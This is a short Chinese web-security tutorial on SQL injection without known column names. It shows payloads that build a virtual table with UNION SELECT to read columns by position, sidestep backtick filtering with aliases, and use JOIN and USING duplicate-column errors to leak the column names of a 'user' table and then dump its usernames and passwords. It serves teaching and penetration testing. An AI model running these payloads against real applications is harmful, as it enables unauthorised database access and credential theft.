WEB安全--SQL注入--无列名注入

一、原理:

当我们只知道表名不知道列名时,可以通过联合查询创建虚拟字段查询信息,或者是利用join、using关键字报错得到列名。

二、利用手段:

2.1)创建虚表查询:

sql 复制代码
#创建虚表
select 1,2,3 union select * from user;

#查询第二列数据
select `2` from (select 1,2,3 union select * from user)xxx;

当反引号 ` 被过滤时,可以使用如下方式查询:

sql 复制代码
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

2.2)join+using爆出列名:

sql 复制代码
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
 
相关推荐
白帽攻防录17 分钟前
SRC 挖洞:WSO2 JWT 算法混淆绕过深度复盘,CVE-2026-5430 不支持的算法怎么变成管理员
网络·算法·安全·网络安全·jwt
正经教主1 小时前
【FDE系列】阶段3:Day 58:Prompt 安全 — 注入、越狱与防护
网络·人工智能·安全·prompt·fde
hasty1 小时前
配置禁止重定向,为何请求仍继续?Axios Fetch 适配器的安全契约
安全
杨云龙UP2 小时前
一次数据库查询缓慢故障复盘:大表数据增长、SQL全表扫描导致系统响应异常
linux·运维·服务器·数据库·sql·mysql
2501_933670792 小时前
2027 应用统计学秋招选岗指南:统计、SQL、业务指标如何对应岗位
数据库·sql
jimmyleeee2 小时前
大模型安全之三十六:大模型数据管理----从投毒防御到偏见治理的完整框架
人工智能·安全
姜鱼问生3 小时前
三层防火墙排查:Nginx 配好了浏览器还打不开
nginx·安全
终端安全笔记3 小时前
恢复出厂设置清不掉什么:GB 46864 把清除分成三个等级
安全
oradh5 小时前
Oracle固定执行计划的方法----SQL Profie(三)
数据库·sql·oracle
Summer-Bright5 小时前
深度 | 谷歌Gemini 4 Argon单次输出100万Token:长输出是智能体刚需,先给防御者不给攻击者才是新玩法
人工智能·安全·ai